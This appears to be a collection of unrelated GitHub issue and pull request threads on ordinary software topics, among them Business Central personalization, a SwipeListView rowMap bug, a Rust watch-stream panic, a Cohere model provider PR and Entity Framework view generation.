I'll start studying up on nix ops tonight, unless you have a quick way of doing it and want to PR it. I'll be working on this heavily over the next month, and if you want to contribute any of the above would be amazing :)


Personalization

in one of our page, we are not able to add fields.
do they have to be added in page (visible false) to use personalization or can we directly add fields from table without adding them to page?
or do we have to setup any properties to add fields?

Hi @pmohanakrishna, the personalization only enables to act on existing page controls. If you add some new fields in a table, you also need to add them to the page in order to use them in personalization.

can we stop showing those table fields in right side list? it is so confusing that fields are ready in right side pane and not able to drag them to page (which are not added in page in designer?)

Which version are you using and on which environment does this happen (Docker, Cloud Sandbox, On-Prem deployment)?  We cannot reproduce this behavior on Business Central

Docker
build 20901
but as mentioned above those fields are not available in page level and only available in table level.
are we still showing them in personalization which we cannot add?

Hi @pmohanakrishna ! As far as I can see, we are not showing fields that are not already part of the page object. What we are doing wrong is that we show the page fields with the name of the table fields. If you believe this is not the issue, could you please provide a repro?


Disable Sales Co-Pilot Advertisement/Notification Banner in outlook

Our company would like an option to disable the Sales Co-Pilot Banner Advertisement that appears on individual emails without needing to disable the tool itself company wide. We would also like a way to scope the tool for only certain groups.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 103164c7-39c3-57da-5027-4c4156d33a55
Version Independent ID: 103164c7-39c3-57da-5027-4c4156d33a55
Content: Configure Sales Copilot for Microsoft 365 apps
Content Source: articles/m365-admin-setting.md
Service: microsoft-sales-copilot
GitHub Login: @sbmjais
Microsoft Alias: shjais

Hi @josh-ocp, the steps to turn off email notification are mentioned at: https://learn.microsoft.com/en-us/microsoft-sales-copilot/m365-admin-setting. Please let us know if this resolves your issue.

Thanks for contacting us. As we haven’t heard back from you, I am closing this issue. If you need further help, please reopen the issue or open a new issue.


Small infrastructure improvements

See individual commits.

@bgilbert feel free to merge yourself to see if everything works.
Note about that: I'm usually using squash merge. I don't mind changing that habit here if want but if you don't mind it please also use the squash merge button on GitHub. It's important for me that the # of the issue is on each commit and it's also easier for maintaining the changelog

Works for me.  I normally prefer merge commits, but I'm fine with squashing in these repos.
I noticed that merge commits are disabled for both repos, and rebase & merge is enabled for this one but not mbrman.  I've gone ahead and disabled rebase & merge for this repo too, to prevent any mistakes.


3.0.1 crashing with panic unwrapping Err

After deploying agent 3.0.1 for a week I've seen a few instances of the container restarting. The last log line observed before the restart is:
[2021-01-20T06:45:25Z WARN  k8s::middleware::metadata] Watch Stream Error: error returned by apiserver during watch: too old resource version: 226233010 (226248908): Expired
thread '<unnamed>' panicked at 'called `Result::unwrap()` on an `Err` value: ()', common/k8s/src/middleware/metadata.rs:171:18
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

I'll try to gather more information by running with RUST_BACKTRACE=1.

@willholley Thanks! From what you've pasted above we have a line number, we should be able to handle that condition more gracefully.

@willholley Thanks! From what you've pasted above we have a line number, we should be able to handle that condition more gracefully.


rowMap is empty on the first render

Describe the bug
On the initial render of the component rowMap passed to renderHiddenItem and renderItem is an empty object. It almost seems that rowMap is async value and gets resolved afterwards.
If I try to log and inspect it in console it shows as:

But after new data is passed to component (it fetches new data every N seconds), the rowMap is the expected object:

Here is a little snippet of the component:
<SwipeListView
      style={styles.container}
      keyExtractor={item => item.System_Notifications_ID.toString()}
      data={searchActive ? data : data.filter(i => !i.hidden
        && i.System_Notifications_Status !== statusTypes.DISMISSED)}
      renderItem={renderItem}
      renderHiddenItem={({ item }, rowMap) => {
        console.log(rowMap);
        const row = rowMap[item.System_Notifications_ID.toString()];
        const closeAction = row && row.closeRow.bind(row);

        const newActions = actions.map((actionObj) => {
          const newItem = { ...actionObj };
          newItem.action = _.isFunction(actionObj.action)
            ? newItem.action.bind(null, item)
            : closeAction;
          return newItem;
        });
        return <HiddenItem actions={newActions} actionsStyle={actionsStyle} />;
      }}
      rightOpenValue={-width}
      disableRightSwipe
    />

OS: [iOS, haven't tested on Android]
RN Version: [e.g. v60.0.5]

I debugged it a bit and it appears that ref={row => (this._rows[key] = row) method of <SwipeRow/> is called after renderHiddenItem and renderItem, since they are called here:
renderItem(rowData, rowMap) {
        const Component = this.props.renderItem(rowData, rowMap);
        const HiddenComponent =
            this.props.renderHiddenItem &&
            this.props.renderHiddenItem(rowData, rowMap);
        const { item, index } = rowData;
        let { key } = item;
        if (!key && this.props.keyExtractor) {
            key = this.props.keyExtractor(item, index);
        }

        const shouldPreviewRow =
            typeof key !== 'undefined' && this.props.previewRowKey === key;

        return this.renderCell(
            Component,
            HiddenComponent,
            key,
            item,
            shouldPreviewRow
        );
    }

so rowMap is not filled at the time of first render of items

Closing the issue as I found a solution. In case anyone runs in the problem. Don't create bound functions at the time of rendering (hidden)items. I added a function to my component:
const closeRow = (key, map) => map[key] && map[key].closeRow();

and changed renderHiddenItem to:
 renderHiddenItem={({ item }, rowMap) => {
          const closeAction = () => closeRow(item.System_Notifications_ID, rowMap);
          const newActions = actions.map((actionObj) => {
            const newItem = { ...actionObj };
            newItem.action = _.isFunction(actionObj.action)
              ? newItem.action.bind(null, item)
              : closeAction;
            return newItem;
          });
          return <HiddenItem actions={newActions} actionsStyle={actionsStyle} />;
        }}

Worked for me ! Thanks.
For some reason the keys in my rowMap are like 1-undefined, but eh, whatever, this still works


✨ add Cohere as Model Provider

Description
Hello! 👋
Super neat project and excellent contributing doc, made it really easy to not miss a thing! ❤
This adds support for Cohere's Command-R models. Cohere has a free-tier for experimentation
API Reference: https://docs.cohere.com/reference/chat
Here is a list of potential follow-up work:

Support self-hosted Command-R models, the weights are available on HuggingFace, some providers like Ollama already have support. The usage of the autodetectTemplateType function might need to be refactored to take the provider in addition to the model for it to add the required template in this case
https://github.com/continuedev/continue/blob/36a0800677887b33d2c36eeecf6c62c897152fdd/core/llm/autodetect.ts#L104
Support Cohere models hosted on Cloud providers (AWS Bedrock/SageMaker, Azure, Google...), there may be some refactoring needed for Bedrock for example
Support Cohere as Embedding Provider (doc), the bulk embed job API might come handy
Support Cohere as Reranker (doc)

If you're happy with this PR, I'll open issues for the above and I might tackle some of it myself
Checklist

[x] The base branch of this PR is preview, rather than main

Disclaimer: I am a Cohere employee experimenting with the product, this is in no way indicates that Cohere will provide official support for Continue.

@maxbrunet thanks for the awesome PR, nothing at all that I'd change! If you end up looking to do some of the follow-up work, I'd be very interested in the embeddings+reranking features. We just recently made re-rankers pluggable, and I'd been meaning to give Cohere a try!


Review Errors

Would be nice to review how we deal with errors then conform to a standard across the code.
This could be worth considering:
https://x.com/FUCORY/status/1824093978175910316

Interesting approach!


Naming custom health checks

It'd be nice if custom health checks could be given names so that e.g. /health_check/my_custom_check.json and /health_check/my_other_custom_check.json could be separated.
Any thoughts?

I'd happily accept a pull request for this feature, with (working) tests, but it isn't an itch I personally feel the need to scratch.

Do you want to do a pull request for this feature?

Added into v2.6.0

Thanks! Excited to try this out.


Set devServerHistoryFallback: true to use HTML5 History for client-side routing

This PR enables devServerHistoryFallback on the test cases app. This solves the problem where when you refresh a test case app component page, the app fails to fetch the route.
How to test

Run npm start
Click on any component link.
Refresh the page, the component test case app should refresh and display properly.

Works great @katydecorah! Can't believe this was a simple one line fix!


Reload Bullet space override modifier even when RigidBody is inactive.

Currently, changes made to a RigidBody that affect the gravity applied to the body are not applied if the RigidBody is inactive (sleeping) and are not applied when the body is activated either.
This PR ensures that the changes made to a RigidBody that affect the gravity applied to the body are applied even if the body is inactive.
Fixes: #40739

Thanks


Sequencer: Scheduler implements a queue for L1 to L2 txs

Currently, nonce a L1 to L2 tx is received, scheduler will produce a block to include the tx, which might disturb the tx set from sequencers. We need to implement a queue to save L1 to L2 txs. Between the end of the current batch period and the start of the next batch period, the scheduler should produce blocks to include all the txs in the queue.

done


DICOM Images are not being put on HealthImaging

The project was successfully deployed, and after running a local EC2 instance to send the dicom imeages, the images are uploaded to s3 bucket successfully and the metadata is visible in the RDS table. However in HealthImaging the dicom data is not getting stored, nor are the rds ahli tables populated.

Hi @RonakKanji - is the project you're using, dicom-ingestion-to-s3-healthimaging?

Hi, yes I am using the project dicom-ingestion-to-s3-healthimaging.
I realized the SQS Queue iep-01-EDGE_DEVICE_inbound.fifo was unable to trigger. After debugging it, I could find the code there the SQS Queue was being triggered but I was unsure so as to why it was unable to trigger even after giving the necessary  permissions.
So then I had sent the message to the SQS Queue from the Lambda function which handles the operation of migrating the DICOM images to the result directory in S3 Bucket.
After doing that, the project started to work successfully.

Hi RonakKanji.
I'm the author of this project, sorry I could not catch up with you sooner. Glad it got resolved. Let me know if you need more support. Also, I would suggest you have a look to the metadata-index project in the same repository. You can combine the dicom-ingestion project and the metadata-index project to end up with DICOM ingestion and a nicer database index of the AHI datastore content.


Removed Minuteman API

What are your changes?
Removed Minuteman API
What type of changes does your doc introduce?

[ ] Bug fix
[x] New feature

What is the urgency level of this change?

[ ] Blocker
[x] High
[ ] Medium

I have completed these items:

[x] I have tested all commands and code snippets.
[ ] I have built locally and tested for broken links and formatting.
[x] I have made this change for all affected versions (e.g. 1.7, 1.8, and 1.9).
[ ] My doc follows the style guide: https://github.com/dcos/dcos-docs#contributing.

Ping @emanic, @sascala, or @joel-hamill for reviewing pull request changes.
If you included a comment with your commit, it appears here:

LGTM

@sargun what do you think?

lgtm.


[Proposal]Drop Xiaomi support?

to @permissions-dispatcher/maintainers and users
Overview
We've been suffering from Xiaomi issues in a past few years. There's no official document, reference and seems like they've changed permission related behavior without any announcement🤔
And according to https://github.com/permissions-dispatcher/PermissionsDispatcher/issues/533#issuecomment-438170843 the latest MIUI has a system that automatically handles permission dialog on system side👀Not it's a good time to drop Xiaomi handling code from our library? What do you think?
From my point of view:
Props

Make it easier to maintain
Simpler logic, less method counts

Cons

User has to enclose workaround for older MIUI device?

Developers who have to handle newest MIUI system should get the same result with us. I wonder how they fix the problem...

done 😇

@wangxinghe do you have any insights(sorry to mention you suddenly since I've just seen you gave a star to the library:D)? 🙇


Add variable substitution to config file path

Add some form of variable substitution to the config file path setting so the file path can be set to e.g. ${workspaceRoot}/php_md.xml, instead of using an absolute path only.

Added in #51


Fix Account Creation Emails (now with code + recovery)

This PR includes several improvements to the account creation emails.
The text versions are also updated.
This has been tested with @Patrick1904 latest wallet fix PR for account creation: https://github.com/near/near-wallet/pull/841
As per @corwinharrell new design and copy:

@vgrichina I will definitely do #213 after this PR to clean up the template. I think this is priority for now though.

Had to pull back to draft. Realized tests will fail with changes to account flow.

@mattlockyer @kcole16 currently the subject for e-mail reads as:

Your NEAR Wallet security code is: 205804

This breaks our recovery flow, which asks users to search for e-mail with "Important: Near Wallet Recovery Email" in subject. It also suggests that e-mail can be removed without reading (which it totally shouldn't).

@vgrichina Good point! @mattlockyer We should change this to the original recovery message title. Generally like the idea of including the verification code, but given this is a strange case we probably shouldn’t.

Updated subject and addressed other comments @kcole16
Thanks for feedback @vgrichina :+1:


How to know if it worked?

I am using code first migrations. In VS2019, I used EF Power Tools to give me an Entity Framework menu on my DBContext class file in the solution explorer.
When I selected Generate Views, it would take about a minute to generate the views. The result was a DBContext.Views.cs file added to the project.
Since EF Power Tools isn't available for VS2022, I am trying to migrate to your build tool. It sounds great but I am not sure I have it installed properly.
Here is what I did:

I installed the NuGet package into my MVC Project. I have many projects within the solution. The SkyCourt project is the start up project that is where the MVC app lives. This is also where the migrations live. I have another project called SkyCourt.Models that is where the DBContext class lives. This is where the .Views.cs file used to live.
I deleted the .Views.cs file from my project
I unloaded the SkyCourt project and edited the file to add the code snippet from the main page of your project.
I loaded the project and made a change to the model.
I then opened the package manager and ran Add-Migration
I then ran Update-Database

Everything went well, but I am not sure that that the Views were created. I have no .edmx in my solution view. And when I did the Udpate-Database, it took about 2 seconds where normally view generation takes about 60 seconds.
I looked in the obj directory for SkyCourt and I do not see anything called EntityViews.
Did I miss something?
Thanks

I searched my project for .edmx files and there are none. Should there be when using code first migrations?
In the migration folder there are .cs and .resx files but no .edmx files.

Okay. I suggest you add another project to your solution that is just the console app - similar to the sample, but adjusted to look at your Models project and DbContext. I am slightly surprised your migrations are not in the same project as the DbContext, but that is your choice.
When you run the console app, it should generate an edmx file next to the assembly dll (with the same name as the assembly but with an .edmx extension). This will probably be in the bin/Debug folder.
Copy that file to your models project, which should also have the nuget package, and set the build type to EntityView, and set the Custom Tool Namespace to the same as your DbContext.
In the future, when you run Add-Migration, you will need to re-run the console app and copy the new EDMX file to your Models project.
I don't actually use Add-Migration /  Update-Database myself - I have some code that detects if a migration is needed, and generates the code and edmx into the migrations folder. This occurs when I first run the project after making model changes. I then recompile, including the new migration, which also updates the views, and when it starts up the second time, it applies the new migration code. This way I avoid all the issues with startup projects, and the powershell stuff not working correctly in VS2022. But that is just my workflow.

Thanks for the info.
Are you saying:

The process is not automatic if I am using code-first migrations?
The process would be automatic if my DbContext and migrations were in the same project?

I could move the migrations into the Models project. They were in the main project by default when the application started before I started pulling parts into different projects. We just never thought about moving the migrations into the Models project. They seem to be more a part of the app rather than part of the model. But I could go either way.

@gregveres 1) The process is not fully automatic. When using the extension, it wasn't either - you had to manually trigger the generate views command.
2) It could be more automatic if the migrations were in the DbContext project. I always assume that the models can go in a separate project, but that the context and migrations should be in the same project. I then have the app in a third project. Obviously, the models can be in the same project as the context if you don't want to fully break it up.
You can make it nearly fully automatic by creating the command line project to handle the model changes/migration creation and outputting the latest edmx file.
Technically the edmx associated with each migration is actually stored in the resx file as "Target" - it is a Base64 encoded GZip of the source. I guess it would be possible to add the step to pull the edmx from the migrations to the build task. I might have a look at adding that, or I would accept a PR ;)


Debugger not working

I am trying to run the debugger on some C code (for the CS50x Harvard course) and I keep getting the below error. I have not had any luck trying to figure out what is actually wrong, but I am not able to use the debugger at all.
error message: "Configured debug type 'cppdbg' is not supported."
Version: 1.88.1
Commit: e170252f762678dec6ca2cc69aba1570769a5d39
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
Embedder: codespaces

/question please use your course support channel

We closed this issue because it is a question about using VS Code rather than an issue or feature request. Please search for help on StackOverflow, where the community has already answered thousands of similar questions. You may find their guide on asking a new question helpful if your question has not already been asked. See also our issue reporting guidelines.
Happy Coding!


Add helpers for dynamically matching paths

We should expose the route recognizer functionality in a convenient way to make it easier to match incoming paths to routes in dynamic handlers. That could help with some scenarios where routes are loaded from remote data, etc. We should be able to refactor some of the createNavigationInstruction code to make it happen.
let recognizer = router.createRecognizer(routes);
...
let route = recognizer.recognize(instruction.fragment);

@bryanrsmith Looks like it is a good replacement for router.reset()?

No activity since nov 2015
maybe can be closed

Let's keep this open as a potential improvement, albeit low priority.